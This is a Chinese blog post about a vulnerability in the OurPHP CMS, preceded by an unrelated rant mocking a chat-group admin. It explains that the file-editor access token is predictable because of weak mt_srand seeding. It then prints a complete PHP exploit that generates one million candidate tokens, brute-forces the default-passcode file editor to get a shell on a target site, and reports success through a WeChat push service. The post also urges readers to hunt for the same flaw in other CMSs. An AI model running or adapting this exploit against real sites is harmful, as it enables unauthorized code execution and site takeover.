以下内容与本文无关:
Hi 兄弟萌 半年过去了 有没有想我 ~
我就是辣个天天在群里阴阳怪气zyy且一直鼓舞群内负责写稿,挖洞的Angle,Mg 让他们不要交稿 挖到洞别交给zyy的人
自昨晚与zyy对线结束后,我本想安稳睡去
结果手机就一直响个不停,翻身打开手机一开
哦~天呐 兄弟萌快看呐 她急了她急了zyy她急了
快看呐,气急败坏的赵师傅开始了她最擅长的精神胜利法!
说不过就直接30天禁言大礼包然后就开始了赵师傅最擅长的自娱自乐环节
老自娱自乐带师了! :)
感想:被禁言后,我躺在床上辗转反侧,始终无法入睡, 想了想 半年前天天写稿的时候也经常明嘲暗讽zyy 也不知道是她傻还是对我心有感激 从没禁言过我 但这两个月就天天权限欺负人 想到这里我明白了 是稿子 ! 稿子 ! 稿子 !哎 心累啊 ~ 于是便有了这篇文章;
以下内容与本文有关:
本文使用的源码地址:
https://down.11yuanma.com/zb_users/upload/soft/2019/09/OurPHP%E5%82%B2%E6%B4%BE(%E4%BC%81%E4%B8%9A%E5%95%86%E5%9F%8E%E5%B0%8F%E7%A8%8B%E5%BA%8F)%E5%BB%BA%E7%AB%99%E7%B3%BB%E7%BB%9F%20v1.9.1%20bulid20190901.zip
漏洞影响范围: Ourphp1.6.0-2.0.0
利用难度:★★☆☆☆
挖掘难度:★★★☆☆
利用时效:★★★★★
众所周知ourphp在后台是可以编辑文件的 (可直接修改文件代码进行Getshell)
地址:
http://localhost//client/manage/ourphp_filebox.php?&op=&folder=./&validation=12345&code=TXFP1LULuXPyR7GZQt7B5KNv6nUwNPLZULuXPy
访问链接即可,也没有任何登录机制只需要满足validation参数和code参数
两者错一个都会打不开
而validation就是口令码 默认12345
至于code嘛 反正前端是无法知晓是什么了 只能通过看他代码一探究竟
OK 得知是通过拿$_GET['code']对比$ourphp数组中的safecode键名里的键值内容
通过全局搜索 得到定义$ourphp数组的文件
那么继续追踪下去看看safecode键值里的内容是如何生成的
全局搜索safecode
在install文件找到生成代码
从上图中可以得知
代码逻辑是先调用getRandomString函数生成一个32位的随机字符串 定义为$ourphp_safecode ;再通过substr函数取$ourphp_safecode变量内容中第6位开始的6个字符 定义为$safecode6 ,而最后safecode的生成就是由$ourphp_safecode.$safecode6 中的值相接而成
而getRandomString函数代码如下:
function getRandomString($len, $chars=null){if (is_null($chars)){ $chars = "bcdefghijklmnpqrtuvwxyzBCDEFGHIJKLMNPQRTUVWXYZ12345679"; }mt_srand(10000000*(double)microtime());for ($i = 0, $str = '', $lc = strlen($chars)-1; $i < $len; $i++){$str .= $chars[mt_rand(0, $lc)];}return $str;}
$len 就是传入的长度 即32
$chars 在开局就被定义为null
逻辑:
先是进行if判断,判断$chars是否为null,而在开局$chars就被定义为null,所以条件成立,执行$chars = "bcdefghijklmnpqrtuvwxyzBCDEFGHIJKLMNPQRTUVWXYZ12345679";
即设定字符集内容为bcdefghijklmnpqrtuvwxyzBCDEFGHIJKLMNPQRTUVWXYZ12345679
mt_srand(10000000*(double)microtime());
然后用mt_srand来设定种子,而种子的值则由10000000*(double)microtime() 来决定 而10000000*(double)microtime()的结果集只有100W个 为啥呢,
请看下图
先echo (double)microtime(); 10次先
可以看到都是小数位最多只有6位的小数
再输出全部
(double)microtime()
最大值为0.999999
最小值则为0
然后在*10000000 即 位数 左移7位
即0.000001 = 10
0.999999=9999990
写个轮子继续验证
跟猜想的一模一样
所以结果集应该是
0,10,20,30,40,50,60,70,80,90,100~9999980,9999990 共100W
(注:0在PHP里的mt_srand函数中也是可以作为种子来设定的)
OK! 种子的由来结束了 那么继续往下看
for ($i = 0, $str = '', $lc = strlen($chars)-1; $i < $len; $i++){$str .= $chars[mt_rand(0, $lc)];}return $str;
先是设定个for语句 条件为:
$i=0 ;
$str = '';
$lc=strlen($chars)-1;//P1:计算出字符集中字符串的长度然后-1 即53
P2:减1是因为在PHP中字符串的下标是从0开始的
$i < $len ; //$len则取自于开头的定义 即32
$i++;
而执行的语句则是:
调用mt_rand开始播种,从$chars字符集中随机抽取一个字符并叠加进$str变量中
最终就是循环32次调用mt_rand开始播种,从$chars字符集中随机抽取一个字符并叠加进$str变量中,并return $str; 即32位字符串
解读完毕,,,
而这段代码中问题的所在就是mt_srand()函数 虽然自 PHP 4.2.0 起,不再需要用 mt_srand() 函数给随机数发生器播种,现已自动完成。 但他却有个特性就是 当设置好种子后 再通过mt_rand()生成出来的随机数将会是固定的
例如:
把种子设为0 然后你在怎么刷新 他还是这个数不会变的,以此类推当你把种子依次设为文中上述的结果集 那么就可以生成100W个$ourphp_safecode;
剩下的思路就是 拼接字符 生成$safecode;
然后在口令码没变的情况下(即12345) 开始爆破100W个生成出来的$safecode
可能需要花费很多时间 但网速快 线程高 多倍几台服务器的话还是很快就能跑出来的
既然思路也有了 那么就开始写Exp
这是我生成出来的$safecode与Exp的截图
为了让使用者不需要过多时间呆在电脑或服务器面前守着,exp设置了server酱的推送,程序结束后会在微信上推送结果(官网注册获得SCKEY:https://sc.ftqq.com/)
注1: 在生成safecode.txt的时候 程序会持续往当前目录输出i.txt 其内容是当前已循环次数 共1000000次 达到即生成完毕 主要目的还是为了满足我的好奇心,想看看写到哪了hhh,但这个功能很吃内存,内存不高或挂服务器上的小伙伴记得删除嗷 ,
(本来也考虑到把循环次数实时输出到浏览器页面上来减少本地内存消耗的同时还可以满足自己的好奇心,但100W个都输出到浏览器上怕不是直接爆炸,,然后也考虑了echo一次sleep一秒再delete内容再继续重复循环直到exit,但也觉得不妥,这样会大大增加所耗时效,故绞尽脑汁也想不出完美的方法,只好出此下策)
注2: Getshell的时候无这个功能 有需要的小伙伴自己改写 不过还是建议用burp 或写个py版的
截图:
实战结果:
生成safecode.txt:
Getshell:
EXP:
<?php //ourphpcms 前台getshell exp by 05error_reporting(0);set_time_limit(0);header("Content-type: text/html; charset=utf-8");$GLOBALS['SCKEY'] = ""; //Server酱 的 SCKEYfunction getRandomString($len, $n){$chars = "bcdefghijklmnpqrtuvwxyzBCDEFGHIJKLMNPQRTUVWXYZ12345679";mt_srand($n);for ($i = 0, $str = '', $lc = strlen($chars) - 1; $i < $len; $i++) {$str .= $chars[mt_rand(0, $lc)];}return $str;}function poc(){$code4 = '';for ($i = 0; $i < 1000000; $i++) {$code = getRandomString(32, $i * 10);$code2 = substr($code, 6, 6);$code3 = $code . $code2;$code4 .= "$code3\n";file_put_contents("i.txt", $i);}file_put_contents("safecode.txt", $code4);file_get_contents('https://sc.ftqq.com/' . $GLOBALS['SCKEY'] . '.send?text=' . urlencode('code OK!')); //微信推送功能exit ('请确认getshell()函数中的$url变量内容是否修改为目标url,如确定修改,请刷新本页面。');}function getshell(){$url = 'http://localhost/client/manage/ourphp_filebox.php?&op=&folder=./&validation=12345&code=';$code = fopen('safecode.txt', 'rb+');for ($i = 0; $i = !feof($code); $i++) {$code2 = fgets($code);$code3 = rtrim($code2);$code4 = file_get_contents($url . $code3);if (strlen($code4) > 100) {file_put_contents("success.txt", $url . $code3);file_get_contents('https://sc.ftqq.com/' . $GLOBALS['SCKEY'] . '.send?text=' . urlencode('成功Getshell,授权码请看详情') . '&desp=' . $code3); //微信推送功能exit ("OK!请查看微信公众号推送或当前目录下的success.txt");}if ($i = feof($code)) {file_get_contents('https://sc.ftqq.com/' . $GLOBALS['SCKEY'] . '.send?text=' . urlencode('Getshell失败'));exit ("Getshell失败");}}}$file = "safecode.txt";if (!file_exists($file)) {poc();} else {getshell();}?>
彩蛋:
1
2
在网络上找到众多和函数相似甚至一模一样的代码,(我都开始怀疑ourphp员工当初写的时候是不是就是从里边复制粘贴过来的,,,)
然后我又到github上搜了一番
3
4
5
很多挂在github上的cms都用了这个随机码生成,SO 也就意味着都可能存在类似漏洞,大家可以借此来举一反三挖更多的洞,去薅Cnvd的证书 or Cve的编号
好了,不说了我要继续水群了
每日任务:写稿 × 挖洞 ×
阴阳怪气zyy √